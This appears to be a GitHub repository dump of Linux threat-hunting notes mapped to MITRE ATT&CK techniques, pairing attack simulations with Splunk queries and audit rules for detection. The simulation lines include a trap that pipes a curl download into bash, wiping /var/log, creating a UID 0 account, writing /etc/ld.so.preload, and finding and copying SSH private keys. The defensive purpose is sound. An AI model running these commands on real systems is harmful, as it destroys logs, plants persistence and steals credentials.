├── execution ├── T1168 │ └── T1168.md └── T1064 │ └── T1064.md ├── privilege escalation ├── T1055 │ └── T1055.md ├── T1166 │ └── T1166.md ├── T1169 │ └── T1169.md └── T1206 │ └── T1206.md ├── calc.js ├── calc1.sct ├── linux_hunting.PNG ├── Linux Hutning -Usecases & Testing ATT&CK .xlsx ├── calc.sct ├── defense evasion ├── T1009 │ └── T1009.md ├── T1148 │ └── T1148.md ├── T1070 │ └── T1070.md ├── T1055 │ └── T1055.md ├── T1107 │ └── T1107.md ├── T1222 │ └── T1222.md └── T1146 │ └── T1146.md ├── initial access └── T1136 │ └── T1136.md ├── credential access ├── T1081 │ └── T1081.md ├── T1139 │ └── T1139.md ├── T1145 │ └── T1145.md └── T1110 │ └── T1110.md ├── Persistence ├── T1154 │ └── T1154.md ├── T1166 │ └── T1166.md ├── T1156 │ └── T1156.md ├── T1158 │ └── T1158.md └── T1168 │ └── T1168.md ├── discovery ├── T1040 │ └── T1040.md └── T1087 │ └── T1087.md ├── audit.rules.1 ├── README_first.md ├── README.md └── syscall.csv /execution/T1168/T1168.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /privilege escalation/T1055/T1055.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /privilege escalation/T1166/T1166.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /calc.js: -------------------------------------------------------------------------------- 1 | WSHhell= new ActiveXObject("WScript.shell"); 2 | WSHhell.Run("calc.exe") 3 | -------------------------------------------------------------------------------- /calc1.sct: -------------------------------------------------------------------------------- 1 | var WSHhell= new ActiveXObject("WScript.shell"); 2 | WSHhell.Run("calc.exe") -------------------------------------------------------------------------------- /linux_hunting.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kirtar22/Litmus_Test/HEAD/linux_hunting.PNG -------------------------------------------------------------------------------- /Linux Hutning -Usecases & Testing ATT&CK .xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kirtar22/Litmus_Test/HEAD/Linux Hutning -Usecases & Testing ATT&CK .xlsx -------------------------------------------------------------------------------- /calc.sct: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | 8 | 16 | 17 | -------------------------------------------------------------------------------- /defense evasion/T1009/T1009.md: -------------------------------------------------------------------------------- 1 | # T1009 - Binary Padding 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1009) 3 |
Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.
4 | 5 | # How to Detect 6 | 7 | ## Simulating the attack 8 | 9 | dd if=/dev/zero bs=1 count=1 >> #{file_to_pad} 10 | ``` 11 | sha1sum welcome.sh >before 12 | 13 | dd if=/dev/zero bs=1 count=1 >> welcome.sh 14 | << 15 | 1+0 records in 16 | 1+0 records out 17 | 1 byte (1 B) copied, 0.000221464 s, 4.5 kB/s 18 | >> 19 | 20 | sha1sum welcome.sh >after 21 | 22 | cmp before after 23 | <> 24 | ``` 25 | 26 | ## Data sources required to detect the attack 27 | 28 | ```bash_history logs``` 29 | 30 | ## Splunk Queries to detect the attack 31 | 32 | ### bash_history 33 | 34 | ```index=linux sourcetype="bash_history" bash_command="dd *"``` 35 | 36 | ## Caution/Caveate 37 | 38 | 39 | -------------------------------------------------------------------------------- /initial access/T1136/T1136.md: -------------------------------------------------------------------------------- 1 | # T1136 - Create Account 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1136) 3 |
Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system. 4 | 5 | The net user commands can be used to create a local or domain account.
6 | 7 | # How to Detect 8 | 9 | ## Simulating the attack 10 | 11 | useradd -M -N -r -s /bin/bash -c "#{comment}" #{username} 12 | 13 | useradd -o -u 0 -g 0 -M -d /root -s /bin/bash #{username} 14 | 15 | ## Data sources required to detect the attack 16 | 17 | /var/log/secure with "useradd" and "userdel" 18 | 19 | 20 | ## Splunk Queries to detect the attack 21 | 22 | index=main source="/var/log/secure" eventtype=useradd | table user,host,src, UID, GID 23 | 24 | index=linux source="/var/log/secure" eventtype=userdel delete| table user,host 25 | 26 | Root Account Creation: index=linux source="/var/log/secure" eventtype=useradd UID=0 OR GID=0 27 | 28 | ## Caution/Caveat 29 | 30 | -------------------------------------------------------------------------------- /credential access/T1081/T1081.md: -------------------------------------------------------------------------------- 1 | # T1081 - Credentials in Files 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1081) 3 |
Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. 4 | 5 | It is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)
6 | 7 | # How to Detect 8 | 9 | ## Simulating the attack 10 | 11 | grep -riP password #{file_path} 12 | 13 | 14 | grep -riP password / 15 | 16 | ## Data sources required to detect the attack 17 | 18 | auditlogs (audit.rules) 19 | 20 | bash_history logs 21 | 22 | 23 | ## Splunk Queries to detect the attack 24 | 25 | ### auditlogs(syscalls) 26 | 27 | index=linux sourcetype=linux_audit type=execve a0=grep password 28 | 29 | ### bash_history 30 | 31 | index=linux sourcetype="bash_history" grep password | table host,user_name,bash_command 32 | 33 | ## Caution/Caveat 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /defense evasion/T1148/T1148.md: -------------------------------------------------------------------------------- 1 | # T1148 - HISTCONTROL 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1148) 3 |
The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.
4 | 5 | # How to Detect 6 | 7 | ## Simulating the attack 8 | ``` 9 | export HISTCONTROL=ignoreboth 10 | ``` 11 | ## Data sources required to detect the attack 12 | 13 | bash_history logs 14 | 15 | ## Splunk Queries to detect the attack 16 | 17 | ### bash_history 18 | ``` 19 | index=linux sourcetype="bash_history" export HISTCONTROL | table host, user_name, bash_command 20 | ``` 21 | ## Caution 22 | 23 | #### Note: 24 | -------------------------------------------------------------------------------- /Persistence/T1154/T1154.md: -------------------------------------------------------------------------------- 1 | # T1154 - Trap 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1154) 3 |
The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received.
4 | 5 | # How to Detect 6 | 7 | ## Simulating the attack 8 | 9 | trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' EXIT 10 | nohup is used for continuing program/script execution even after exit. 11 | 12 | trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' INT 13 | 14 | ## Data sources required to detect the attack 15 | 16 | bash_history logs 17 | 18 | 19 | ## Splunk Queries to detect the attack 20 | 21 | index=linux sourcetype=bash_history "trap *" | table host,user_name,bash_command 22 | 23 | ## Caution 24 | 25 | -------------------------------------------------------------------------------- /privilege escalation/T1169/T1169.md: -------------------------------------------------------------------------------- 1 | # T1169 - Sudo 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1169) 3 |
The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). 4 | 5 | Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.
6 | 7 | # How to Detect 8 | 9 | ## Simulating the attack 10 | 11 | cat /etc/sudoers 12 | 13 | vim /etc/sudoers 14 | 15 | ## Data sources required to detect the attack 16 | 17 | auditlogs (audit.rules) 18 | 19 | bash_history logs 20 | 21 | ## Splunk Queries to detect the attack 22 | 23 | ### auditlogs(syscalls) 24 | 25 | index=linux sourcetype="linux_audit" sudoers_change 26 | 27 | Audit Rule : -w /etc/sudoers -p wa -k sudoers_change 28 | 29 | ### bash_history 30 | 31 | 32 | 33 | ## Caution/Caveat 34 | -------------------------------------------------------------------------------- /discovery/T1040/T1040.md: -------------------------------------------------------------------------------- 1 | # T1040 - Network Sniffing 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1040) 3 |
Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. 4 | 5 | Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. 6 | 7 | Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.
8 | 9 | # How to Detect 10 | 11 | ## Simulating the attack 12 | 13 | tcpdump -c 5 -nnni #{interface} 14 | 15 | tshark -c 5 -i #{interface} 16 | 17 | ## Data sources required to detect the attack 18 | 19 | /var/log/messages 20 | 21 | ## Splunk Queries to detect the attack 22 | 23 | index=linux sourcetype=syslog entered promiscuous mode | table host,message 24 | 25 | index=linux sourcetype=syslog left promiscuous mode | table host,message 26 | 27 | ## Caution/Caveat 28 | -------------------------------------------------------------------------------- /defense evasion/T1070/T1070.md: -------------------------------------------------------------------------------- 1 | # T1070 - Indicator Removal on Host 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1070) 3 |
Adversaries may delete or alter generated artifacts on a host system, including logs and potentially captured files such as quarantined malware. Locations and format of logs will vary, but typical organic system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/* . 4 | 5 | Actions that interfere with eventing and other notifications that can be used to detect intrusion activity may compromise the integrity of security solutions, causing events to go unreported. They may also make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.
6 | 7 | # How to Detect 8 | 9 | ## Simulating the attack 10 | ``` 11 | rm -rf /var/log/* 12 | ``` 13 | 14 | ## Data sources required to detect the attack 15 | 16 | auditlogs (audit.rules) 17 | 18 | bash_history logs 19 | 20 | 21 | ## Splunk Queries to detect the attack 22 | 23 | ### auditlogs(syscalls) 24 | ``` 25 | index=linux sourcetype=linux_audit syscall=263 | table host,auid,uid,euid,exe,key 26 | ``` 27 | ``` 28 | index=linux sourcetype=linux_audit type=PATH name=*.log nametype=delete 29 | ``` 30 | #### Audit rules: 31 | ``` 32 | -a always,exit -F arch=b64 -F PATH=/var/log -S unlinkat -F auid>=1000 -F auid!=4294967295 -F key=delete_logs 33 | ``` 34 | ### bash_history 35 | ``` 36 | index=linux sourcetype="bash_history" rm * .log | table host, user_name, bash_command 37 | ``` 38 | ## Caution/Caveat 39 | 40 | 41 | -------------------------------------------------------------------------------- /credential access/T1139/T1139.md: -------------------------------------------------------------------------------- 1 | # T1139 - Bash History 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1139) 3 |
Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)
4 | 5 | # How to Detect 6 | 7 | ## Simulating the attack 8 | 9 | cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file} 10 | 11 | cat .bash_history | grep password > bash.txt 12 | 13 | ## Data sources required to detect the attack 14 | 15 | auditlogs (audit.rules) 16 | 17 | bash_history logs 18 | 19 | 20 | ## Splunk Queries to detect the attack 21 | 22 | ### auditlogs(syscalls) 23 | 24 | index=linux sourcetype="linux_audit" syscall=257 key=bash_history_changes | table host,auid,syscall,syscall_name,exe 25 | 26 | ### bash_history 27 | 28 | index=linux sourcetype=bash_history cat bash_history | table _time,host,user_name,bash_command 29 | 30 | ## Caution/Caveat 31 | 32 | #### Note: 33 | Note: We need to add the rule for each users' bash_history file under their home location. Wildcard expression () is not accepted in the audit.rules so we can NOT create a rule that watches the path = /home//.bash_history 34 | -------------------------------------------------------------------------------- /defense evasion/T1055/T1055.md: -------------------------------------------------------------------------------- 1 | # T1055 - Process Injection 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1055) 3 |
Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. 4 | 5 | ### Mac and Linux 6 | 7 | Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle) 8 | 9 | * **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)
10 | 11 | # How to Detect 12 | 13 | ## Simulating the attack 14 | ``` 15 | echo #{path_to_shared_library} > /etc/ld.so.preload 16 | ``` 17 | ``` 18 | echo /home/$USER/random.so > /etc/ld.so.preload 19 | ``` 20 | ## Data sources required to detect the attack 21 | 22 | auditlogs (audit.rules) 23 | 24 | bash_history logs 25 | 26 | ## Splunk Queries to detect the attack 27 | 28 | ### auditlogs(syscalls) 29 | ``` 30 | index=linux sourcetype=linux_audit preload_lib 31 | ``` 32 | ##### Audit Rue to catch this 33 | ``` 34 | -w /etc/ld.so.preload -p wa -k preload_lib 35 | ``` 36 | ### bash_history 37 | ``` 38 | index=linux sourcetype="bash_history" ld.so.preload | table host,user_name,bash_command 39 | ``` 40 | ## Caution/Caveat 41 | 42 | #### Note: 43 | 44 | 45 | -------------------------------------------------------------------------------- /audit.rules.1: -------------------------------------------------------------------------------- 1 | ## First rule - delete all 2 | -D 3 | 4 | ## Increase the buffers to survive stress events. 5 | ## Make this bigger for busy systems 6 | -b 8192 7 | 8 | ## Set failure mode to syslog 9 | -f 1 10 | 11 | 12 | -w /etc/passwd -p wa -k passwdfile_changes 13 | -w /etc/shadow -p rwa -k shadowfile_changes 14 | -w /home/ec2-user/.bash_history -p rwa -k bash_history_changes 15 | -w /home/ec2-user/.bashrc -p wa -k bashrc_changes 16 | -w /home/ec2-user/.bash_profile -p wa -k bashrc_changes 17 | -w /etc/ld.so.preload -p wa -k preload_lib 18 | -w /etc/sudoers -p wa -k sudoers_change 19 | #-a always,exit -F arch=b32 -S chmod,fchmod,fchmodat -F comm!=splunkd -F auid>=1000 -F auid!=4294967295 -F key=perm_mod 20 | -a always,exit -F arch=b64 -S chmod,fchmod,fchmodat -F auid>=1000 -F auid!=4294967295 -F key=perm_mod 21 | -a always,exit -F arch=b32 -S lchown,fchown,chown,fchownat -F auid>=1000 -F auid!=4294967295 -F key=perm_mod 22 | -a always,exit -F arch=b64 -S chown,fchown,lchown,fchownat -F auid>=1000 -F auid!=4294967295 -F key=perm_mod 23 | -a always,exit -F arch=b32 -S setxattr,lsetxattr,fsetxattr,removexattr,lremovexattr,fremovexattr -F auid>=1000 -F auid!=4294967295 -F key=perm_mod 24 | -a always,exit -F arch=b64 -S setxattr,lsetxattr,fsetxattr,removexattr,lremovexattr,fremovexattr -F auid>=1000 -F auid!=4294967295 -F key=perm_mod 25 | -a always,exit -F arch=b64 -F PATH=/var/log -S unlinkat -F auid>=1000 -F auid!=4294967295 -F key=delete_logs 26 | -a always,exit -F arch=b64 -F PATH=/home/ec2-user/.bash_history -S unlinkat -F auid>=1000 -F auid!=4294967295 -F key=delete_bash_history 27 | -a always,exit -F arch=b64 -S unlinkat -F auid>=1000 -F auid!=4294967295 -F key=delete 28 | -a always,exit -F arch=b64 -S execve -S execveat -F auid>=1000 -F auid!=4294967295 -F key=program_execution 29 | -a exclude,never -F msgtype=USER_AUTH 30 | -a exclude,never -F msgtype=LOGIN 31 | -a exclude,never -F msgtype=CRYPTO_KEY_USER 32 | -a exclude,never -F msgtype=USER_LOGIN 33 | -a exclude,never -F msgtype=CRYPTO_SESSION 34 | 35 | -------------------------------------------------------------------------------- /discovery/T1087/T1087.md: -------------------------------------------------------------------------------- 1 | # T1087 - Account Discovery 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1087) 3 |
Adversaries may attempt to get a listing of local system or domain accounts. 4 | 5 | ### Linux 6 | 7 | On Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file. 8 | 9 | Also, groups can be enumerated through the groups and id commands.
10 | 11 | # How to Detect 12 | 13 | ## Simulating the attack 14 | 15 | Atomic Test #1 - Enumerate all accounts 16 | 17 | cat /etc/passwd > #{output_file} 18 | 19 | Atomic Test #2 - View sudoers access 20 | 21 | cat /etc/sudoers > #{output_file} 22 | 23 | Atomic Test #3 - View accounts with UID 0 24 | 25 | username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username 26 | 27 | lsof $USER 28 | 29 | Atomic Test #4 - Show if a user account has ever logger in remotely 30 | 31 | lastlog > #{output_file} 32 | 33 | Atomic Test #5 - Enumerate users and groups 34 | 35 | groups 36 | 37 | id 38 | 39 | 40 | ## Data sources required to detect the attack 41 | 42 | bash_history logs 43 | 44 | 45 | ## Splunk Queries to detect the attack 46 | 47 | ### bash_history 48 | 49 | index=linux sourcetype=bash_history cat /etc/passwd | table host,user_name,bash_command 50 | 51 | index=linux sourcetype=bash_history cat /etc/sudoers | table host,user_name,bash_command 52 | 53 | index=linux sourcetype=bash_history "lsof -u *" | table host,user_name,bash_command 54 | 55 | index=linux sourcetype=bash_history lastlog | table host,user_name,bash_command 56 | 57 | index=linux sourcetype=bash_history group OR id | table host,user_name,bash_command 58 | 59 | ## Caution/Caveat 60 | 61 | 62 | Note: This alerts should be seen in the context and not as isolated as these commands are used often by sys admins for legit operations daily. 63 | -------------------------------------------------------------------------------- /README_first.md: -------------------------------------------------------------------------------- 1 | 2 | # ThreatHunting for Linux aligned with MITRE's ATT&CK 3 | 4 | The objective of this project is to create a knowledgebase that helps in creating/improving detection capabilities of Linux threathunting for the blue teams. The attack vectors are aligned with MITRE’s ATT&CK framework. 5 | 6 | I have taken most of the attack test-cases from the atomic tests of [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) and then demonstrated how to detect them and which logsources would be required to capture these attacks. 7 | 8 | I have tried to align the look and feel of the project with Atomic Red Team’s project. Big Thanks to @redcanaryco's [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) for creating such a wonderful project. @redcanaryco/atomic-red-team 9 | 10 | In general, the rule of thumb is that whitelisting is very important in any threat hunting activities, you got to absolutely know what is normal in your environment that will help to identify the abnormalities from the generated alerts. 11 | 12 | ## The alerts are only as effective as the knowledge of normalcy. 13 | 14 | I am releasing this with a small set of usecases and I would build this project as I get time and resources. 15 | A sample audit.rules file is also attached that I used for my research; you can modify as per your requirements. Moreover, in a few splunk queries, “syscall_name” field is used – this field does not get logged in audit.log file. Only syscall numbers are logged in audit.log file. You may need to create the Splunk lookup to fetch the syscall name based on the syscall number. I have attached the lookup file “syscall.csv”. 16 | 17 | I would like to thank @olafhartong and @redcanaryco's atomic red team for their inspirational work. 18 | 19 | 20 | The coverage is shown below in the navigator 21 | 22 | ![The following is the coverage](./linux_hunting.PNG) 23 | 24 | 25 | ## Start Here :[Detecting ATT&CK techniques & tactics for Linux](https://github.com/Kirtar22/Litmus_Test/blob/master/README.md) 26 | -------------------------------------------------------------------------------- /defense evasion/T1107/T1107.md: -------------------------------------------------------------------------------- 1 | # T1107 - File Deletion 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1107) 3 |
Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process. 4 | 5 | There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)
6 | 7 | # How to Detect 8 | 9 | ## Simulating the attack 10 | ``` 11 | rm -rf test1.text 12 | ``` 13 | ``` 14 | rm -f test1.txt 15 | ``` 16 | ``` 17 | shred -u test1.txt 18 | ``` 19 | ## Data sources required to detect the attack 20 | 21 | auditlogs (audit.rules) 22 | 23 | bash_history logs 24 | 25 | 26 | ## Splunk Queries to detect the attack 27 | 28 | ### auditlogs(syscalls) 29 | ``` 30 | index=linux sourcetype=linux_audit syscall=59 comm=shred | table host,auid,msg 31 | ``` 32 | ``` 33 | index=linux sourcetype=linux_audit type=execve shred .bash_history | table host,msg,a0,a2 34 | ``` 35 | ``` 36 | index=linux sourcetype=linux_audit syscall=263 | table host,auid,uid,eid,exe 37 | ``` 38 | ``` 39 | index=linux sourcetype=linux_audit syscall=82 exe=/usr/bin/shred | table host,auid,uid,eid,exe 40 | ``` 41 | #### Audit-rules 42 | ``` 43 | -a always,exit -F arch=b64 -S execve,execveat -F auid>=1000 -F auid!=-1 -F key=program_execution 44 | 45 | -w /home/ec2-user/.bash_history -p rwa -k bash_history_changes 46 | ``` 47 | ### bash_history 48 | ``` 49 | index=linux sourcetype="bash_history" bash_command="rm *" 50 | ``` 51 | ``` 52 | index=linux sourcetype="bash_history" bash_command="shred -u *" 53 | ``` 54 | ## Caution/Caveate 55 | 56 | #### Note: 57 | 58 | 59 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Detecting ATT&CK techniques & tactics for Linux 2 | 3 | 4 | # defense evasion 5 | - [T1009 - Binary Padding](./defense%20evasion/T1009/T1009.md) 6 | 7 | - [T1146 - Clear Command History](./defense%20evasion/T1146/T1146.md) 8 | 9 | - [T1107 - File Deletion](./defense%20evasion/T1107/T1107.md) 10 | 11 | - [T1222 - File Permissions Modification](./defense%20evasion/T1222/T1222.md) 12 | 13 | - [T1158 - Hidden Files and Directories](./Persistence/T1158/T1158.md) 14 | 15 | - [T1148 - HISTCONTROL](./defense%20evasion/T1148/T1148.md) 16 | 17 | - [T1070 - Indicator Removal on Host](./defense%20evasion/T1070/T1070.md) 18 | 19 | - [T1055 - Process Injection](./defense%20evasion/T1055/T1055.md) 20 | 21 | # discovery 22 | 23 | - [T1040 - Network Sniffing](./discovery/T1040/T1040.md) 24 | 25 | - [T1087 - Account Discovery](./discovery/T1087/T1087.md) 26 | 27 | # privilege escalation 28 | 29 | - [T1169 - Sudo](./privilege%20escalation/T1169/T1169.md) 30 | 31 | - [T1206 - Sudo Caching](./privilege%20escalation/T1206/T1206.md) 32 | 33 | - [T1166 - Setuid and Setgid](./Persistence/T1166/T1166.md) 34 | 35 | - [T1055 - Process Injection](./defense%20evasion/T1055/T1055.md) 36 | 37 | # Credential Access 38 | 39 | - [T1139 - Bash History](./credential%20access/T1139/T1139.md) 40 | 41 | - [T1081 - Credentials in Files](./credential%20access/T1081/T1081.md) 42 | 43 | - [T1145 - Private Keys](./credential%20access/T1145/T1145.md) 44 | 45 | - [T1110 - Brute Force](./credential%20access/T1110/T1110.md) 46 | 47 | # persistence 48 | 49 | - [T1156 .bash_profile and .bashrc](./Persistence/T1156/T1156.md) 50 | 51 | - [T1158 - Hidden Files and Directories](./Persistence/T1158/T1158.md) 52 | 53 | - [T1168 - Local Job Scheduling](./Persistence/T1168/T1168.md) 54 | 55 | - [T1166 - Setuid and Setgid](./Persistence/T1166/T1166.md) 56 | 57 | - [T1154 - Trap](./Persistence/T1154/T1154.md) 58 | 59 | # execution 60 | 61 | - [T1064 - Scripting](./execution/T1064/T1064.md) 62 | 63 | - [T1168 - Local Job Scheduling](./Persistence/T1168/T1168.md) 64 | 65 | # initial access 66 | 67 | - [T1136 - Create Account](./initial%20access/T1136/T1136.md) 68 | 69 | 70 | 71 | 72 | -------------------------------------------------------------------------------- /Persistence/T1166/T1166.md: -------------------------------------------------------------------------------- 1 | # T1166 - Setuid and Setgid 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1166) 3 |
When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. 4 | 5 | An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).
6 | 7 | # How to Detect 8 | 9 | ## Simulating the attack 10 | 11 | sudo chmod u+s hello 12 | 13 | sudo chmod u+s #{file_to_setuid} 14 | 15 | sudo chmod g+s #{file_to_setuid} 16 | 17 | ## Data sources required to detect the attack 18 | 19 | bash_history 20 | 21 | scripted_input 22 | 23 | ## Splunk Queries to detect the attack 24 | 25 | index=linux sourcetype=bash_history "chmod 4***" OR "chmod 2***" OR "chmod u+s" OR "chmod g+s" | table host,user_name,bash_command 26 | 27 | find Setuid: find / -type f -perm /4000 OR find / -type f -perm /u+s 28 | find Setgid: find / -type f -perm /2000 OR find / -type f -perm /g+s 29 | 30 | Create a scripted input to ingest the files with Setuid and Setgid bits set and compare it with the expectde whitelist. 31 | 32 | ## Caution 33 | 34 | #### Note: 35 | 36 | 37 | -------------------------------------------------------------------------------- /credential access/T1145/T1145.md: -------------------------------------------------------------------------------- 1 | # T1145 - Private Keys 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1145) 3 |
Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto) 4 | Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. 5 | Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. 6 | Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)
7 | 8 | # How to Detect 9 | 10 | ## Simulating the attack 11 | 12 | **Private Keys:** 13 | 14 | find / -type f \( -name "*.pem" -o -name "*.pgp" -o -name "*.gpg" -o -name "*.ppk" -o -name "*.p12" -o -name "*.key" -o -name "*.pfx" -o -name "*.cer" -o -name "*.p7b" -o -name "*.asc" -o -name "authorized*" \) 15 | 16 | **look for Users' SSH Private Key:** find / -name id_rsa OR find / -name id_dsa 17 | 18 | **Copy Private SSH Keys with CP:** find / -name id_rsa -exec cp --parents {} #{output_folder} \; 19 | 20 | find / -name id_dsa -exec cp --parents {} #{output_folder} \; 21 | 22 | **Copy Private SSH Keys with rsync:** 23 | 24 | find / -name id_rsa -exec rsync -R {} #{output_folder} \; 25 | 26 | find / -name id_dsa -exec rsync -R {} #{output_folder} \; 27 | 28 | 29 | ## Data sources required to detect the attack 30 | 31 | bash_history logs 32 | 33 | ## Splunk Queries to detect the attack 34 | 35 | ### bash_history 36 | 37 | index=* sourcetype=bash_history find AND (.pem OR authorized OR gpg OR pgp OR .ppk OR .cer OR .key OR .asc) 38 | 39 | index=* sourcetype=bash_history find AND (id_rsa OR id_dsa) 40 | 41 | ## Caution/Caveat 42 | 43 | -------------------------------------------------------------------------------- /execution/T1064/T1064.md: -------------------------------------------------------------------------------- 1 | # T1064 - Scripting 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1064) 3 |
